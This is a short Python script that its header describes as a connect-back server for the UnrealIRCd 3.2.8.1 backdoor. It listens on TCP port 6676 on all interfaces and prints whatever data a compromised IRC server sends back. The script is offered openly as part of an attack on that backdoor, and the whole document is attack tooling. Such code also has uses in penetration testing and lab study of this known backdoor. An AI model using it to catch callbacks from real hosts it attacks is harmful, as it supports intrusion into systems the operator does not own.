#!/usr/bin/env python
# Connect-back server for UnrealIRCd 3.2.8.1 backdoor
# May not work on firewalled hosts though the backdoor is here
import SocketServer,sys
PORT=6676

class S(SocketServer.BaseRequestHandler):
  allow_reuse_address = True
  def handle(self):
    print "%s: %s" % (self.client_address[0],self.request.recv(1024).strip())
    sys.stdout.flush()

try:
  SocketServer.TCPServer(("0.0.0.0", PORT), S).serve_forever()
except KeyboardInterrupt,e:
  sys.exit(1)
